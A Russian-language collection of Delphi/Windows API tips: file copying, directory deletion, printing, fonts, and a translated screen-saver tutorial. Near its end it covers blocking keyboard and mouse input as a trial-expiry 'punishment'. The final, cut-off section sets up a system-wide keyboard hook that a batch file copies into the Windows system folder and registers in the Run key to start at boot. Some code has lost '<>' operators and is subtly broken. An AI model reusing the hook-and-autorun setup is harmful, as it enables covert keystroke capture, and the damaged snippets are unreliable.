1-нормальное состояние + активация
2-миним.+ активация
3-макс. + активация
4-нормальное состояние
5-Активация
AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)
Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы, Xpos и Ypos - координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного места. HotKey - виртуальный код горячей клавиши. Mimimize - тип запуска, 0-в обычном окне, <>0 - в минимизированном.
DeleteItem(имя раздела)
Удалить раздел с указанным именем в активной группе
Пример использования:
ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');
ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp, 0, , , '+ path + ',,)');
где path - строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');

Наверх

Копирование файлов

Копирование методом TurboPascal

Type
  TCallBack=procedure (Position,Size:Longint); {Для индикации процесса копирования}

procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack);
Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }
Type
  PBuffer = ^TBuffer;
  TBuffer = array [1..BufSize] of Byte;
var
  Size             : integer;
  Buffer           : PBuffer;
  infile, outfile  : File;
  SizeDone,SizeFile: Longint;
begin
  if (InFileName <> OutFileName) then
  begin
   buffer := Nil;
   AssignFile(infile, InFileName);
   System.Reset(infile, 1);
   try
     SizeFile := FileSize(infile);
     AssignFile(outfile, OutFileName);
     System.Rewrite(outfile, 1);
     try
       SizeDone := 0; New(Buffer);
       repeat
         BlockRead(infile, Buffer^, BufSize, Size);
         Inc(SizeDone, Size);
         CallBack(SizeDone, SizeFile);
         BlockWrite(outfile,Buffer^, Size)
       until Size < BufSize;
       FileSetDate(TFileRec(outfile).Handle,
         FileGetDate(TFileRec(infile).Handle));
     finally
      if Buffer <> Nil then Dispose(Buffer);
      System.close(outfile)
     end;
   finally
     System.close(infile);
   end;
 end else
  Raise EInOutError.Create('File cannot be copied into itself');
end;

Копирование методом потока

Procedure FileCopy(Const SourceFileName, TargetFileName: String);
Var
  S,T   : TFileStream;
Begin
 S := TFileStream.Create(sourcefilename, fmOpenRead );
 try
  T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);
  try
    T.CopyFrom(S, S.Size ) ;
    FileSetDate(T.Handle, FileGetDate(S.Handle));
  finally
   T.Free;
  end;
 finally
  S.Free;
 end;
end;

Копирование методом LZExpand

uses LZExpand;
procedure CopyFile(FromFileName, ToFileName  : string);
var
  FromFile, ToFile: File;
begin
  AssignFile(FromFile, FromFileName);
  AssignFile(ToFile, ToFileName);
  Reset(FromFile);
  try
   Rewrite(ToFile);
   try
    if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then
     raise Exception.Create('Error using LZCopy')
   finally
    CloseFile(ToFile);
   end;
  finally
   CloseFile(FromFile);
  end;
end;

Копирование методами Windows

uses ShellApi; // !!! важно

function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var F : TShFileOpStruct;
begin
  F.Wnd := 0; F.wFunc := FO_COPY;
  FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
  ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
  result:=ShFileOperation(F) = 0;
end;
 // пример копирования
procedure TForm1.Button1Click(Sender: TObject);
begin
 if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then
   ShowMessage('Copy Failed');
end;

Наверх

Как скопировать все файлы вместе с подкаталогами

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);
var
  OpStruc: TSHFileOpStruct;
  frombuf, tobuf: Array [0..128] of Char;
Begin
 FillChar( frombuf, Sizeof(frombuf), 0 );
 FillChar( tobuf, Sizeof(tobuf), 0 );
 StrPCopy( frombuf, 'h:\hook\*.*' );
 StrPCopy( tobuf, 'd:\temp\brief' );
 With OpStruc DO Begin
  Wnd:= Handle;
  wFunc:= FO_COPY;
  pFrom:= @frombuf;
  pTo:=@tobuf;
  fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;
  fAnyOperationsAborted:= False;
  hNameMappings:= Nil;
  lpszProgressTitle:= Nil;
 end;
 ShFileOperation( OpStruc );
end;

Наверх

Удаление каталога со всем содержимым

{ Удалить каталог со всем содержимым }
function DeleteDir(Dir  : string)  : boolean;
Var
 Found  : integer;
 SearchRec : TSearchRec;
begin
  result:=false;
  if IOResult<>0 then ;
  ChDir(Dir);
  if IOResult<>0 then begin
   ShowMessage('Не могу войти в каталог: '+Dir); exit;
  end;
  Found := FindFirst('*.*', faAnyFile, SearchRec);
  while Found = 0 do
  begin
   if (SearchRec.Name<>'.')and(SearchRec.Name<>'..') then
    if (SearchRec.Attr and faDirectory)<>0 then begin
     if not DeleteDir(SearchRec.Name) then exit;
    end else
     if not DeleteFile(SearchRec.Name) then begin
      ShowMessage('Не могу удалить файл: '+SearchRec.Name); exit;
     end;
    Found := FindNext(SearchRec);
  end;
  FindClose(SearchRec);
  ChDir('..'); RmDir(Dir);
  result:=IOResult=0;
end;

Наверх

Определение системной информации.

Часто при создании систем привязки программ к компьютеру или окон типа System Info или About Box необходимо определить данные о пользователе и о системе. Это можно сделать следующим образом (из примеров по Delphi - программа COA):

Procedure GetInfo;
Var
 WinVer, WinFlags : LongInt;            { Версия Windows и флаги }
 hInstUser, Fmt : Word;                 { Дескриптор  }
 Buffer : ARRAY[0..30] OF Char; { Буфер под ASCIIZ строку }
begin
 hInstUser := LoadLibrary('USER');      { Открыли библиотеку User }
 LoadString(hInstUser, 514, Buffer, 30);
 LabelUserName.Caption := StrPas(Buffer);       { Имя пользователя }
 LoadString(hInstUser, 515, Buffer, 30);
 FreeLibrary(hInstUser);
 LabelCompName.Caption := StrPas(Buffer);       { Компания }
 WinVer := GetVersion;
 LabelWinVer.Caption := Format('Windows %u.%.2u',       { Версия Windows }
        [LoByte(LoWord(WinVer)), HiByte(LoWord(WinVer))]);
 LabelDosVer.Caption := Format('DOS %u.%.2u',   { Версия DOS }
        [HiByte(HiWord(WinVer)), LoByte(HiWord(WinVer))]);
 WinFlags := GetWinFlags;
 IF WinFlags AND WF_ENHANCED > 0 THEN
   LabelWinMode.Caption := '386 Enhanced Mode'  { Режим }
 ELSE IF WinFlags AND WF_PMODE > 0 THEN
   LabelWinMode.Caption := 'Standard Mode'
 ELSE LabelWinMode.Caption := 'Real Mode';
 IF WinFlags AND WF_80x87 > 0 THEN            { Сопроцессор }
  ValueMathCo.Caption := 'Present'
 ELSE ValueMathCo.Caption := 'Absent';

 Fmt := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);
 ValueFSRs.Caption := Format('%d%% Free', [Fmt1]);      { Свободно ресурсов }
{ Свободно памяти}
 ValueMemory.Caption := FormatFloat(',#######', MemAvail DIV 1024) + ' KB Free';
end;

Наверх

Как проинсталлировать свои шрифты?

Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом:

{$IFDEF WIN32}
    AddFontResource( PChar( my_font_PathName { AnsiString } ) );
{$ELSE}
var
    ss  : array [ 0..255 ] of Char;

    AddFontResource ( StrPCopy ( ss, my_font_PathName ));
{$ENDIF}
    SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );

Убрать его по окончании работы:

{$IFDEF WIN32}
    RemoveFontResource ( PChar(my_font_PathName) );
{$ELSE}
    RemoveFontResource ( StrPCopy ( ss, my_font_PathName ));
{$ENDIF}
    SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );

При этом не надо никаких перезагрузок и прочего, после добавления фонт сразу можно использовать. my_font_PathName : string ( не string[nn] для D2+) - содержит полный путь с именем и расширением необходимого фонта. После удаления фонта форточки о нем забывают. Если его не удалить, он (кажется) так и останется проинсталенным, во всяком случае, я это не проверял.

Наверх

Вставить какую-нибудь программу внутрь EXE файла

1. Пишем в блокноте RC-файл, куда прописываем все нужные нам программы, например:
ARJ EXEFILE C:\UTIL\ARJ.EXE
2. Компилируем его в ресурс при помощи Brcc32.exe. Получаем RES-файл.
3. Далее в тексте нашей программы:

implementation
{$R *.DFM}
{$R test.res} //Это наш RES-файл

procedure ExtractRes(ResType, ResName, ResNewName : String);
var
  Res : TResourceStream;
begin
  Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
  Res.SavetoFile(ResNewName);
  Res.Free;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
 // Записывает в текущую папку arj.exe
 ExtractRes('EXEFILE', 'ARJ', 'ARJ.EXE');
end;

Наверх

Как написать маленький инсталлятор ?

Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.
Пример:

 Application.Initialize;
 if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE'
  then Application.CreateForm(TSetupForm, SetupForm) // форма инсталлятора
  else Application.CreateForm(TMainForm, MainForm);  // форма основной программы
 Application.Run;

Наверх

Работа с принтером.

Delphi имеет стандартный объект для доступа к принтеру - TPRINTER, находящийся в модуле PRINTERS. В этом модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi 1 он имеет "глюк" - не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее приведены основные поля и методы объекта Printers :
PROPERTY
Aborted:boolean - Показывает, что процесс печати прерван
Canvas:Tcanvas - Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст ... . Тут есть несколько особенностей, они описаны после описания объекта.
Fonts:Tstrings - Возвращает список шрифтов, поддерживаемых принтером
Handle:HDS - Получить Handle на принтер для использования функций API (см. Далее)
Orientation:TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape)
PageHeight:integer - Высота листа в пикселах
PageNumber:integer - Номер страницы, увеличивается на 1 при каждом NewPage
PageWidth:integer - Ширина листа в пикселах
PrinterIndex:integer - Номер используемого принтера по списку доступных принтеров Printers
Printers:Tstrings - Список доступных принтеров
Printing:boolean - Флаг, показывающий, что сейчас идет процесс печати
Title:string - Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печати

METODS
AssignPrn(f:TextFile) - Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях.
Abort - Сбросить печать
BeginDoc - Начать печать
NewPage - Начать новую страницу
EndDoc - Завершить печать.

Пример :

Procedure TForm1.Button1Click(Sender: TObject);
Begin
 With Printer do Begin
  BeginDoc; { Начало печати }
  Canvas.Font:=label1.font; { Задали шрифт }
  Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }
  EndDoc; { Конец печати }
 end;
end;

Особенности работы с TPrinter

1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново
2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и , главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут".
3. У TPrinter информация о принтере, по видимому, определяются один раз - в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.
Определение параметров принтера через API
Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter - Printer.Handle. Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;
Index - код параметра, который необходимо вернуть. Для Index существует ряд констант :
DriverVersion - вернуть версию драйвера
Texnology - Технология вывода, их много, основные
dt_Plotter - плоттер
dt_RasPrinter - растровый принтер
dt_Display - дисплей
HorzSize - Горизонтальный размер листа (в мм)
VertSize - Вертикальный размер листа (в мм)
HorzRes - Горизонтальный размер листа (в пикселах)
VertRes - Вертикальный размер листа (в пикселах)
LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм)
LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)
Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.
Параметры, возвращаемые по LogPixelX и LogPixelY очень важны - они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:

Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }
begin
  PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);
  PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);
end;

Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }
begin
 PrinterCoordX:=round(PixelsX/25.4*x);
end;

Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }
begin
 PrinterCoordY:=round(PixelsY/25.4*Y);
end;
---------------------------------
GetPrinterInfo;
Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),
 'Этот текст печатается с отступом 30 мм от левого края и '+
 '55 мм от верха при любом разрешении принтера');

Данную методику можно с успехом применять для печати картинок - зная размер картинки можно пересчитать ее размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) - микроскопической.

Наверх

Хранитель экрана

1.В файл проекта (*.DPR) добавить строку {$D SCRNSAVE <название хранителя>} после строки подключения модулей (Uses...).
2.У окна формы убрать системное меню, кнопки и придать свойству WindowState значение wsMaximize.
3.Предусмотреть выход из хранителя при нажатии на клавиши клавиатуры, мыши и при перемещении курсора мыши.
4.Проверить параметры с которым был вызван хранитель и если это /c - показать окно настройки хранителя, а иначе (можно проверять на /s, а можно и не проверять) сам хранитель. /p - для отображения в окне установок хранителя экрана.
5.Скомпилировать хранитель экрана.
6.Переименовать *.EXE файл в файл *.SCR и скопировать его в каталог WINDOWS\SYSTEM\.
7.Установить новый хранитель в настройках системы!

Название хранителя может состоять из нескольких слов с пробелами, на любом языке.
При работе хранителя необходимо прятать курсор мыши, только не забывайте восстанавливать его после выхода.
Все параметры и настройки храните в файле .INI, так как хранитель и окно настройки не связаны друг с другом напрямую.
Старайтесь сделать свой хранитель как можно меньше и быстрее. Иначе ваши долго работающие (в фоновом режиме) приложения будут работать еше дольше!

{в файле *.DPR}
{$D SCRNSAVE Пример хранителя экрана}

{проверить переданные параметры}
IF (ParamStr(1) = '/c') OR (ParamStr(1) = '/C') THEN

{скрыть курсор мыши}
ShowCursor(False);

{восстановить курсор мыши}
ShowCursor(True);

Более подробно о создании хранителя экрана "по всем правилам"
Screen Saver in Win95

Главное о чем стоит упомянуть это, что ваш хранитель экрана будет работать в фоновом режиме и он не должен мешать работе других запущенных программ. Поэтому сам хранитель должен быть как можно меньшего объема. Для уменьшения объема файла в описанной ниже программе не используется визуальные компоненты Delphi, включение хотя бы одного из них приведет к увеличению размера файла свыше 200кб, а так, описанная ниже программа, имеет размер всего 20кб!!!
Технически, хранитель экрана является нормальным EXE файлом (с расширением .SCR), который управляется через командные параметры строки. Например, если пользователь хочет изменить параметры вашего хранителя, Windows выполняет его с параметром "-c" в командной строке. Поэтому начать создание вашего хранителя экрана следует с создания примерно следующей функции:

Procedure RunScreenSaver;
Var S : String;
Begin
  S := ParamStr(1);
  If (Length(S) > 1) Then Begin
    Delete(S,1,1); { delete first char - usally "/" or "-" }
    S[1] := UpCase(S[1]);
  End;
  LoadSettings; { load settings from registry }
  If (S = 'C') Then RunSettings
  Else If (S = 'P') Then RunPreview
  Else If (S = 'A') Then RunSetPassword
  Else RunFullScreen;
End;

Поскольку нам нужно создавать небольшое окно предварительного просмотра и полноэкранное окно, их лучше объединить используя единственный класс окна. Следуя правилам хорошего тона, нам также нужно использовать многочисленные нити. Дело в том, что, во-первых, хранитель не должен переставать работать даже если что-то "тяжелое" случилось, и во-вторых, нам не нужно использовать таймер.
Процедура для запуска хранителя на полном экране - приблизительно такова:

Procedure RunFullScreen;
Var
  R          : TRect;
  Msg        : TMsg;
  Dummy      : Integer;
  Foreground : hWnd;
Begin
  IsPreview := False;  MoveCounter := 3;
  Foreground := GetForegroundWindow;
  While (ShowCursor(False) > 0) do ;
  GetWindowRect(GetDesktopWindow,R);
  CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,0);
  CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);
  SystemParametersInfo(spi_ScreenSaverRunning,1,@Dummy,0);
  While GetMessage(Msg,0,0,0) do Begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  End;
  SystemParametersInfo(spi_ScreenSaverRunning,0,@Dummy,0);
  ShowCursor(True);
  SetForegroundWindow(Foreground);
End;

Во-первых, мы проинициализировали некоторые глобальные переменные (описанные далее), затем прячем курсор мыши и создаем окно хранителя экрана. Имейте в виду, что важно уведомлять Windows, что это - хранителя экрана через SystemParametersInfo (это выводит из строя Ctrl-Alt-Del чтобы нельзя было вернуться в Windows не введя пароль). Создание окна хранителя:

Function CreateScreenSaverWindow(Width,Height : Integer;
  ParentWindow : hWnd) : hWnd;
Var WC : TWndClass;
Begin
  With WC do Begin
    Style := cs_ParentDC;
    lpfnWndProc := @PreviewWndProc;
    cbClsExtra := 0;  cbWndExtra := 0; hIcon := 0; hCursor := 0;
    hbrBackground := 0; lpszMenuName := nil;
    lpszClassName := 'MyDelphiScreenSaverClass';
    hInstance := System.hInstance;
  end;
  RegisterClass(WC);
  If (ParentWindow  0) Then
    Result := CreateWindow('MyDelphiScreenSaverClass','MySaver',
      ws_Child Or ws_Visible or ws_Disabled,0,0,
      Width,Height,ParentWindow,0,hInstance,nil)
  Else Begin
    Result := CreateWindow('MyDelphiScreenSaverClass','MySaver',
      ws_Visible or ws_Popup,0,0,Width,Height, 0,0,hInstance,nil);
    SetWindowPos(Result,hwnd_TopMost,0,0,0,0,swp_NoMove or swp_NoSize or swp_NoRedraw);
  End;
  PreviewWindow := Result;
End;

Теперь окна созданы используя вызовы API. Я удалил проверку ошибки, но обычно все проходит хорошо, особенно в этом типе приложения.
Теперь Вы можете погадать, как мы получим handle родительского окна предварительного просмотра ? В действительности, это совсем просто: Windows просто передает handle в командной строке, когда это нужно. Таким образом:

Procedure RunPreview;
Var
  R             : TRect;
  PreviewWindow : hWnd;
  Msg           : TMsg;
  Dummy         : Integer;
Begin
  IsPreview := True;
  PreviewWindow := StrToInt(ParamStr(2));
  GetWindowRect(PreviewWindow,R);
  CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,PreviewWindow);
  CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);
  While GetMessage(Msg,0,0,0) do Begin
    TranslateMessage(Msg); DispatchMessage(Msg);
  End;
End;

Как Вы видите, window handle является вторым параметром (после "-p").
Чтобы "выполнять" хранителя экрана - нам нужна нить. Это создается с вышеуказанным CreateThread. Процедура нити выглядит примерно так:

Function PreviewThreadProc(Data : Integer) : Integer; StdCall;
Var R : TRect;
Begin
  Result := 0; Randomize;
  GetWindowRect(PreviewWindow,R);
  MaxX := R.Right-R.Left;  MaxY := R.Bottom-R.Top;
  ShowWindow(PreviewWindow,sw_Show); UpdateWindow(PreviewWindow);
  Repeat
    InvalidateRect(PreviewWindow,nil,False);
    Sleep(30);
  Until QuitSaver;
  PostMessage(PreviewWindow,wm_Destroy,0,0);
End;

Нить просто заставляет обновляться изображения в нашем окне, спит на некоторое время, и обновляет изображения снова. А Windows будет посылать сообщение WM_PAINT на наше окно (не в нить !). Для того, чтобы оперировать этим сообщением, нам нужна процедура:

Function PreviewWndProc(Window : hWnd; Msg,WParam,
  LParam : Integer): Integer; StdCall;
Begin
  Result := 0;
  Case Msg of
    wm_NCCreate  : Result := 1;
    wm_Destroy   : PostQuitMessage(0);
    wm_Paint     : DrawSingleBox; { paint something }
    wm_KeyDown   : QuitSaver := AskPassword;
    wm_LButtonDown, wm_MButtonDown, wm_RButtonDown, wm_MouseMove :
                   Begin
                     If (Not IsPreview) Then Begin
                       Dec(MoveCounter);
                       If (MoveCounter <= 0) Then QuitSaver := AskPassword;
                     End;
                   End;
     Else Result := DefWindowProc(Window,Msg,WParam,LParam);
  End;
End;

Если мышь перемещается, кнопка нажала, мы спрашиваем у пользователя пароль:

Function AskPassword : Boolean;
Var
  Key   : hKey;
  D1,D2 : Integer; { two dummies }
  Value : Integer;
  Lib   : THandle;
  F     : TVSSPFunc;
Begin
  Result := True;
  If (RegOpenKeyEx(hKey_Current_User,'Control Panel\Desktop',0,
      Key_Read,Key) = Error_Success) Then
  Begin
    D2 := SizeOf(Value);
    If (RegQueryValueEx(Key,'ScreenSaveUsePassword',nil,@D1,
        @Value,@D2) = Error_Success) Then
    Begin
      If (Value  0) Then Begin
        Lib := LoadLibrary('PASSWORD.CPL');
        If (Lib > 32) Then Begin
          @F := GetProcAddress(Lib,'VerifyScreenSavePwd');
          ShowCursor(True);
          If (@F  nil) Then Result := F(PreviewWindow);
          ShowCursor(False);
          MoveCounter := 3; { reset again if password was wrong }
          FreeLibrary(Lib);
        End;
      End;
    End;
    RegCloseKey(Key);
  End;
End;

Это также демонстрирует использование registry на уровне API. Также имейте в виду как мы динамически загружаем функции пароля, используюя LoadLibrary. Запомните тип функции?
TVSSFunc ОПРЕДЕЛЕН как:

Type
TVSSPFunc = Function(Parent : hWnd) : Bool; StdCall;

Теперь почти все готово, кроме диалога конфигурации. Это запросто:

Procedure RunSettings;
Var Result : Integer;
Begin
  Result := DialogBox(hInstance,'SaverSettingsDlg',0,@SettingsDlgProc);
  If (Result = idOK) Then SaveSettings;
End;

Трудная часть -это создать диалоговый сценарий (запомните: мы не используем здесь Delphi формы!). Я сделал это, используя 16-битовую Resource Workshop (остался еще от Turbo Pascal для Windows). Я сохранил файл как сценарий (текст), и скомпилированный это с BRCC32:

SaverSettingsDlg DIALOG 70, 130, 166, 75
STYLE WS_POPUP | WS_DLGFRAME | WS_SYSMENU
CAPTION "Settings for Boxes"
FONT 8, "MS Sans Serif"
BEGIN
    DEFPUSHBUTTON "OK", 5, 115, 6, 46, 16
    PUSHBUTTON "Cancel", 6, 115, 28, 46, 16
        CTEXT "Box &Color:", 3, 2, 30, 39, 9
    COMBOBOX 4, 4, 40, 104, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS
    CTEXT "Box &Type:", 1, 4, 3, 36, 9
    COMBOBOX 2, 5, 12, 103, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS
    LTEXT "Boxes Screen Saver for Win32 Copyright (c) 1996 Jani
           Jдrvinen.", 7, 4, 57, 103, 16,
           WS_CHILD | WS_VISIBLE | WS_GROUP
END

Почти также легко сделать диалоговое меню:

Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;
Var S : String;
Begin
  Result := 0;
  Case Msg of
    wm_InitDialog : Begin
                      { initialize the dialog box }
                      Result := 0;
                    End;
    wm_Command    : Begin
                      If (LoWord(WParam) = 5) Then EndDialog(Window,idOK)
                      Else If (LoWord(WParam) = 6) Then EndDialog(Window,idCancel);
                    End;
    wm_Close      : DestroyWindow(Window);
    wm_Destroy    : PostQuitMessage(0);
    Else Result := 0;
  End;
End;

После того, как пользователь выбрал некоторые установочные параметры, нам нужно сохранить их.

Procedure SaveSettings;
Var
  Key   : hKey;
  Dummy : Integer;
Begin
  If (RegCreateKeyEx(hKey_Current_User,
                     'Software\SilverStream\SSBoxes',
                     0,nil,Reg_Option_Non_Volatile,
                     Key_All_Access,nil,Key,
                     @Dummy) = Error_Success) Then Begin
    RegSetValueEx(Key,'RoundedRectangles',0,Reg_Binary,
     @RoundedRectangles,SizeOf(Boolean));
    RegSetValueEx(Key,'SolidColors',0,Reg_Binary, @SolidColors,SizeOf(Boolean));
    RegCloseKey(Key);
  End;
End;

Загружаем параметры так:

Procedure LoadSettings;
Var
  Key   : hKey;
  D1,D2 : Integer; { two dummies }
  Value : Boolean;
Begin
  If (RegOpenKeyEx(hKey_Current_User,
                   'Software\SilverStream\SSBoxes',0,
                   Key_Read,
                   Key) = Error_Success) Then Begin
    D2 := SizeOf(Value);
    If (RegQueryValueEx(Key,'RoundedRectangles',nil,@D1,
        @Value, @D2) = Error_Success) Then
    Begin
      RoundedRectangles := Value;
    End;
    If (RegQueryValueEx(Key,'SolidColors',nil,@D1,
        @Value,@D2) = Error_Success) Then
    Begin
      SolidColors := Value;
    End;
    RegCloseKey(Key);
  End;
End;

Легко? Нам также нужно позволить пользователю, установить пароль. Я честно не знаю почему это оставлено разработчику приложений ? Тем не менее:

Procedure RunSetPassword;
Var
  Lib : THandle;
  F   : TPCPAFunc;
Begin
  Lib := LoadLibrary('MPR.DLL');
  If (Lib > 32) Then Begin
    @F := GetProcAddress(Lib,'PwdChangePasswordA');
    If (@F  nil) Then F('SCRSAVE',StrToInt(ParamStr(2)),0,0);
    FreeLibrary(Lib);
  End;
End;

Мы динамически загружаем (недокументированную) библиотеку MPR.DLL, которая имеет функцию, чтобы установить пароль хранителя экрана, так что нам не нужно беспокоиться об этом.
TPCPAFund ОПРЕДЕЛЕН как:

Type
TPCPAFunc = Function(A : PChar; Parent : hWnd; B,C : Integer) : Integer; StdCall;

(Не спрашивайте меня что за параметры B и C) Теперь единственная вещь, которую нам нужно рассмотреть, - самая странная часть: создание графики. Я не великий ГУРУ графики, так что Вы не увидите затеняющие многоугольники, вращающиеся в реальном времени. Я только сделал некоторые ящики.

Procedure DrawSingleBox;
Var
  PaintDC  : hDC;
  Info     : TPaintStruct;
  OldBrush : hBrush;
  X,Y      : Integer;
  Color    : LongInt;
Begin
  PaintDC := BeginPaint(PreviewWindow,Info);
  X := Random(MaxX); Y := Random(MaxY);
  If SolidColors Then
    Color := GetNearestColor(PaintDC,RGB(Random(255),Random(255),Random(255)))
  Else Color := RGB(Random(255),Random(255),Random(255));
  OldBrush := SelectObject(PaintDC,CreateSolidBrush(Color));
  If RoundedRectangles Then
    RoundRect(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y),20,20)
  Else Rectangle(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y));
  DeleteObject(SelectObject(PaintDC,OldBrush));
  EndPaint(PreviewWindow,Info);
End;

Чтобы закончить создание хранителя, я даю Вам некоторые детали. Первые, глобальные переменные:

Var
  IsPreview         : Boolean;
  MoveCounter       : Integer;
  QuitSaver         : Boolean;
  PreviewWindow     : hWnd;
  MaxX,MaxY         : Integer;
  RoundedRectangles : Boolean;
  SolidColors       : Boolean;

Затем исходная программа проекта (.dpr). Красива, а!?

program MySaverIsGreat;
uses
   windows, messages, Utility; { defines all routines }
{$R SETTINGS.RES}
begin
  RunScreenSaver;
end.

Ох, чуть не забыл: Если, Вы используете SysUtils в вашем проекте (StrToInt определен там) Вы получаете большой EXE чем обещанный 20k. Если Вы хотите все же иметь20k, Вы не можете использовать SysUtils так, или Вам нужно написать вашу собственную StrToInt программу.
Конец.

Use Val... ;-)
перевод: Владимиров А.М.
От переводчика. Если все же очень трудно обойтись без использования Delphi-форм, то можно поступить как в случае с вводом пароля: форму изменения параметров хранителя сохранить в виде DLL и динамически ее загружать при необходимости. Т.о. будет маленький и шустрый файл самого хранителя экрана и довеска DLL для конфигурирования и прочего (там объем и скорость уже не критичны).

Наверх

Включение и выключение устройств ввода/вывода из программы на Delphi

Иногда может возникнуть необходимость в выключении на время устройств ввода - клавиатуры и мыши. Например, это неплохо сделать на время выполнения кода системы защиты от копирования, в играх, или в качестве "наказания" при запуске программы по истечению срока ее бесплатного использования ... . Однако наилучшее ее применение - отключение клавиатуры и мыши на время работы демонстрационки, основанной на воспроизведении записанных заранее перемещений мышки и клавиатурного ввода (см. об этом отдельный раздел этой книги). Это элементарно сделать при помощи API:
EnableHadwareInput(Enable:boolean): boolean;
Enable - требуемое состояние устройств ввода (True - включены, false - выключены). Если ввод заблокирован, то его можно разблокировать вручную - нажать Ctrl + Alt + Del, при появлении меню "Завершение работы программы" ввод разблокируется.

А вот еще интересный прикол.
Включение/выключение монитора программным способом.

Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.

Отключить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

Включить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);

Наверх

Переключение языка из программы

Для переключения языка применяется вызов LoadKeyboardLayout:

var russian, latin: HKL;

 russian:=LoadKeyboardLayout('00000419', 0);
 latin:=LoadKeyboardLayout('00000409', 0);

-- -- -- -- -- где то в  программе --- --- ---

 SetActiveKeyboardLayout(russian);

Наверх

Как отловить нажатия клавиш для всех процессов в системе?

Вот, может поможет:

>1. Setup.bat

=== Cut ===
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
=== Cut ===

>2.HookAgnt.reg
=== Cut ===
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
=== Cut ===

>3.KbdHook.dpr
=== Cut ===
program cwbhook;
uses Windows, Dialogs;
var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;
begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat until not GetMessage(msg, 0, 0, 0);
end.
=== Cut ===

>4.HookAgnt.dpr
=== Cut ===
library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
